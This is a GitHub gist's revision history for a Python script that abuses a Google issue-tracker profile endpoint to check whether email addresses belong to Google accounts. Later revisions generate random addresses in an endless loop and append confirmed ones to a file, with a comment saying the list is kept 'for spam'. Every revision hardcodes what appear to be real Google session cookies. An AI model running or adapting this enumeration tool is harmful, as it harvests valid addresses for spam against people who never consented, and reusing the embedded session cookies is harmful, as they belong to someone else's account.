Skip to content

Instantly share code, notes, and snippets.

@dertin
Last active May 6, 2024 13:39
Show Gist options
  • Save dertin/a24b35e230f9022c5dec380845cba68c to your computer and use it in GitHub Desktop.
Save dertin/a24b35e230f9022c5dec380845cba68c to your computer and use it in GitHub Desktop.

Revisions

  1. dertin revised this gist Oct 29, 2018. 1 changed file with 4 additions and 0 deletions.
    4 changes: 4 additions & 0 deletions checkGoogleAccount.py
    Original file line number Diff line number Diff line change
    @@ -9,6 +9,7 @@
    from barnum import gen_data

    def checkGoogleAccount(usernames, raw_google_cookie):

    simple_cookie = http.cookies.SimpleCookie(raw_google_cookie)
    cookie_jar = requests.cookies.RequestsCookieJar()
    cookie_jar.update(simple_cookie)
    @@ -21,10 +22,13 @@ def checkGoogleAccount(usernames, raw_google_cookie):
    if len(dataKey) == 0:
    print('\033[91m' + usernames + " account does not exist" + '\033[0m')
    else:
    file = open('mails.txt', 'a')
    for key in dataKey:
    # Save in list for spam
    print('\033[92m' + key + " account exist" + '\033[0m')
    print(jsonResponse)
    file.write(usernames+'\n')
    file.close()

    print("\n")

  2. dertin revised this gist Oct 29, 2018. 1 changed file with 18 additions and 7 deletions.
    25 changes: 18 additions & 7 deletions checkGoogleAccount.py
    Original file line number Diff line number Diff line change
    @@ -1,10 +1,12 @@
    #!/usr/bin/env python
    # Author: Guillermo Céspedes <[email protected]>
    # 2018-10-28
    # Author: Guillermo Cespedes <[email protected]>

    # pip install requests http barnum

    import requests
    import http.cookies
    import json
    from barnum import gen_data

    def checkGoogleAccount(usernames, raw_google_cookie):
    simple_cookie = http.cookies.SimpleCookie(raw_google_cookie)
    @@ -20,18 +22,27 @@ def checkGoogleAccount(usernames, raw_google_cookie):
    print('\033[91m' + usernames + " account does not exist" + '\033[0m')
    else:
    for key in dataKey:
    # Save in list for spam
    print('\033[92m' + key + " account exist" + '\033[0m')
    print(jsonResponse)

    print("\n")

    def gen_email(domain):
    name = gen_data.create_name()
    user_choices = ["%s.%s" % (name[0], name[1]), "%s" % name[0], "%s.%s" % (name[0][:1], name[1]), "%s%s" %(gen_data.random.choice(gen_data.noun_list)+gen_data.random.choice(gen_data.noun_list), gen_data.random.randint(0,9999))]
    return ("%s@%s" % (gen_data.random.choice(user_choices), domain))


    #############

    print("Check Google Account")

    # A cookie from any Google user is required. You do not have to have any special permission.
    raw_google_cookie = 'SID=pgYvN8PyRj9dg-bq4cBOeNbSx6ZI4LgoVmMi3lTVDnumSv81DOO4VT9QeS-afywIjKptqQ.; HSID=ASgsccPneoBPfeK2E; SSID=AUYmTqiO85aOdJvpJ; APISID=2zOwiUCjn-bIS-ZX/AXe4K3AEC-ihN6LsH; SAPISID=nncQselnojfrjOMj/ATwjjcxT5GyRE-3r0; NID=144=sSncrf_EqCYoTSY_523u9BpSe-wJldY32M3dObmwxdX5_Q-LGy73Ydq9hz7ZbR6f_nqfhYGBdcM3dKyh3FksVQ_jyt1wHv1vsuTEJAOJMh4XDttzUqU7IjWK733Mjt-ntLDVaw3y8qF7VlOGbk4qrUowjtU5DXvLqB1zPJZH2sYRKin0b1JCILN_mRkC_UHpvVgBHxqtzP219mSN5DMTcW9QMQzHTtZ_mzdkTmLUUUdUYEmDsX9jrYWaBMVTPCwP8nXRG1v5PL6M8ZkN8bpaRQ; 1P_JAR=2018-10-29-13; SIDCC=ABtHo-GfGVjYbPdZfrx9Gn8h3IblRO5HaYt_rL_mUApeFueaO-gL0k3dmHh1QeyftX0WemE4_cQ'

    checkGoogleAccount("[email protected]", raw_google_cookie)
    checkGoogleAccount("[email protected]", raw_google_cookie)
    checkGoogleAccount("[email protected]", raw_google_cookie)
    raw_google_cookie = 'NID=144=BknFEY3tVxJzloCZXXld_QPQhNhc5q6JtBZpD8_1px_WvelcfLRpkP3tkOXZ9nsuC9XRxSOR5RzPO0LE57S9hMfHMVTWD8c8NGow3xTBMqCLPeJgmpmI3k4TlxOb4HtRUSQqC4sYkdgl-MCtJVxAMV_JBeXeNwZqzU4O7dr3PQy_7pbRk5xA2asHPxrawuIgvVkjNHba9qd7H11t7rbCeqjMnAp5JGpIIGo-JBHHB8aPLdW1u9UgQWwq3mgU76WuQyW206W6km8wAg; SID=pgYvN_NfMu6LKJUXJCYNTpdV_dfzJaDlkaJ9VYDT6Fr1guT8lKeivVkMJZBSvRCyWqdngw.; HSID=AgRNhnAeetrX-NV-v; SSID=AkNKjNZ6Hr-nFMJJY; APISID=q12e9suhUg3zU-aS/AwCl0_ShLd3Hxsumb; SAPISID=UdOYzLuaQQHzzvye/AS_5uOeg562NqWnI_; OSID=pgYvN9Waz_zjf8WvJfqmBe90vAVHiexa096fgTnNDPqCGzjebz4Gk7ocOAu7xqFFGSXtVQ.; SIDCC=ABtHo-Fv7i_e4As1W18XsNOhrwWbsmHEoVD51cGRbY1D3dVw3KHwRl8ToAMlA5e4bRt0I3mVnw; OGP=-5061451:; 1P_JAR=2018-10-29-22'

    while True:
    test_mail_google = gen_email('google.com')
    checkGoogleAccount(test_mail_google, raw_google_cookie)
    test_mail_gmail = gen_email('gmail.com')
    checkGoogleAccount(test_mail_gmail, raw_google_cookie)
  3. dertin revised this gist Oct 29, 2018. 1 changed file with 3 additions and 3 deletions.
    6 changes: 3 additions & 3 deletions checkGoogleAccount.py
    Original file line number Diff line number Diff line change
    @@ -32,6 +32,6 @@ def checkGoogleAccount(usernames, raw_google_cookie):
    # A cookie from any Google user is required. You do not have to have any special permission.
    raw_google_cookie = 'SID=pgYvN8PyRj9dg-bq4cBOeNbSx6ZI4LgoVmMi3lTVDnumSv81DOO4VT9QeS-afywIjKptqQ.; HSID=ASgsccPneoBPfeK2E; SSID=AUYmTqiO85aOdJvpJ; APISID=2zOwiUCjn-bIS-ZX/AXe4K3AEC-ihN6LsH; SAPISID=nncQselnojfrjOMj/ATwjjcxT5GyRE-3r0; NID=144=sSncrf_EqCYoTSY_523u9BpSe-wJldY32M3dObmwxdX5_Q-LGy73Ydq9hz7ZbR6f_nqfhYGBdcM3dKyh3FksVQ_jyt1wHv1vsuTEJAOJMh4XDttzUqU7IjWK733Mjt-ntLDVaw3y8qF7VlOGbk4qrUowjtU5DXvLqB1zPJZH2sYRKin0b1JCILN_mRkC_UHpvVgBHxqtzP219mSN5DMTcW9QMQzHTtZ_mzdkTmLUUUdUYEmDsX9jrYWaBMVTPCwP8nXRG1v5PL6M8ZkN8bpaRQ; 1P_JAR=2018-10-29-13; SIDCC=ABtHo-GfGVjYbPdZfrx9Gn8h3IblRO5HaYt_rL_mUApeFueaO-gL0k3dmHh1QeyftX0WemE4_cQ'

    checkGoogleAccount("[email protected]")
    checkGoogleAccount("[email protected]")
    checkGoogleAccount("[email protected]")
    checkGoogleAccount("[email protected]", raw_google_cookie)
    checkGoogleAccount("[email protected]", raw_google_cookie)
    checkGoogleAccount("[email protected]", raw_google_cookie)
  4. dertin revised this gist Oct 29, 2018. 1 changed file with 4 additions and 4 deletions.
    8 changes: 4 additions & 4 deletions checkGoogleAccount.py
    Original file line number Diff line number Diff line change
    @@ -6,10 +6,7 @@
    import http.cookies
    import json

    def checkGoogleAccount(usernames):
    # A cookie from any Google user is required. You do not have to have any special permission.
    raw_google_cookie = 'SID=pgYvN8PyRj9dg-bq4cBOeNbSx6ZI4LgoVmMi3lTVDnumSv81DOO4VT9QeS-afywIjKptqQ.; HSID=ASgsccPneoBPfeK2E; SSID=AUYmTqiO85aOdJvpJ; APISID=2zOwiUCjn-bIS-ZX/AXe4K3AEC-ihN6LsH; SAPISID=nncQselnojfrjOMj/ATwjjcxT5GyRE-3r0; NID=144=sSncrf_EqCYoTSY_523u9BpSe-wJldY32M3dObmwxdX5_Q-LGy73Ydq9hz7ZbR6f_nqfhYGBdcM3dKyh3FksVQ_jyt1wHv1vsuTEJAOJMh4XDttzUqU7IjWK733Mjt-ntLDVaw3y8qF7VlOGbk4qrUowjtU5DXvLqB1zPJZH2sYRKin0b1JCILN_mRkC_UHpvVgBHxqtzP219mSN5DMTcW9QMQzHTtZ_mzdkTmLUUUdUYEmDsX9jrYWaBMVTPCwP8nXRG1v5PL6M8ZkN8bpaRQ; 1P_JAR=2018-10-29-13; SIDCC=ABtHo-GfGVjYbPdZfrx9Gn8h3IblRO5HaYt_rL_mUApeFueaO-gL0k3dmHh1QeyftX0WemE4_cQ'

    def checkGoogleAccount(usernames, raw_google_cookie):
    simple_cookie = http.cookies.SimpleCookie(raw_google_cookie)
    cookie_jar = requests.cookies.RequestsCookieJar()
    cookie_jar.update(simple_cookie)
    @@ -32,6 +29,9 @@ def checkGoogleAccount(usernames):

    print("Check Google Account")

    # A cookie from any Google user is required. You do not have to have any special permission.
    raw_google_cookie = 'SID=pgYvN8PyRj9dg-bq4cBOeNbSx6ZI4LgoVmMi3lTVDnumSv81DOO4VT9QeS-afywIjKptqQ.; HSID=ASgsccPneoBPfeK2E; SSID=AUYmTqiO85aOdJvpJ; APISID=2zOwiUCjn-bIS-ZX/AXe4K3AEC-ihN6LsH; SAPISID=nncQselnojfrjOMj/ATwjjcxT5GyRE-3r0; NID=144=sSncrf_EqCYoTSY_523u9BpSe-wJldY32M3dObmwxdX5_Q-LGy73Ydq9hz7ZbR6f_nqfhYGBdcM3dKyh3FksVQ_jyt1wHv1vsuTEJAOJMh4XDttzUqU7IjWK733Mjt-ntLDVaw3y8qF7VlOGbk4qrUowjtU5DXvLqB1zPJZH2sYRKin0b1JCILN_mRkC_UHpvVgBHxqtzP219mSN5DMTcW9QMQzHTtZ_mzdkTmLUUUdUYEmDsX9jrYWaBMVTPCwP8nXRG1v5PL6M8ZkN8bpaRQ; 1P_JAR=2018-10-29-13; SIDCC=ABtHo-GfGVjYbPdZfrx9Gn8h3IblRO5HaYt_rL_mUApeFueaO-gL0k3dmHh1QeyftX0WemE4_cQ'

    checkGoogleAccount("[email protected]")
    checkGoogleAccount("[email protected]")
    checkGoogleAccount("[email protected]")
  5. dertin created this gist Oct 29, 2018.
    37 changes: 37 additions & 0 deletions checkGoogleAccount.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,37 @@
    #!/usr/bin/env python
    # Author: Guillermo Céspedes <[email protected]>
    # 2018-10-28

    import requests
    import http.cookies
    import json

    def checkGoogleAccount(usernames):
    # A cookie from any Google user is required. You do not have to have any special permission.
    raw_google_cookie = 'SID=pgYvN8PyRj9dg-bq4cBOeNbSx6ZI4LgoVmMi3lTVDnumSv81DOO4VT9QeS-afywIjKptqQ.; HSID=ASgsccPneoBPfeK2E; SSID=AUYmTqiO85aOdJvpJ; APISID=2zOwiUCjn-bIS-ZX/AXe4K3AEC-ihN6LsH; SAPISID=nncQselnojfrjOMj/ATwjjcxT5GyRE-3r0; NID=144=sSncrf_EqCYoTSY_523u9BpSe-wJldY32M3dObmwxdX5_Q-LGy73Ydq9hz7ZbR6f_nqfhYGBdcM3dKyh3FksVQ_jyt1wHv1vsuTEJAOJMh4XDttzUqU7IjWK733Mjt-ntLDVaw3y8qF7VlOGbk4qrUowjtU5DXvLqB1zPJZH2sYRKin0b1JCILN_mRkC_UHpvVgBHxqtzP219mSN5DMTcW9QMQzHTtZ_mzdkTmLUUUdUYEmDsX9jrYWaBMVTPCwP8nXRG1v5PL6M8ZkN8bpaRQ; 1P_JAR=2018-10-29-13; SIDCC=ABtHo-GfGVjYbPdZfrx9Gn8h3IblRO5HaYt_rL_mUApeFueaO-gL0k3dmHh1QeyftX0WemE4_cQ'

    simple_cookie = http.cookies.SimpleCookie(raw_google_cookie)
    cookie_jar = requests.cookies.RequestsCookieJar()
    cookie_jar.update(simple_cookie)

    response = requests.get("https://issuetracker.google.com/action/user_profiles?usernames="+usernames, cookies=cookie_jar)
    strJsonResponse = response.content.decode("utf-8").replace(")]}'", "")
    #print(jsonResponse)
    jsonResponse = json.loads(strJsonResponse)
    dataKey = jsonResponse.keys()
    if len(dataKey) == 0:
    print('\033[91m' + usernames + " account does not exist" + '\033[0m')
    else:
    for key in dataKey:
    print('\033[92m' + key + " account exist" + '\033[0m')
    print(jsonResponse)

    print("\n")

    #############

    print("Check Google Account")

    checkGoogleAccount("[email protected]")
    checkGoogleAccount("[email protected]")
    checkGoogleAccount("[email protected]")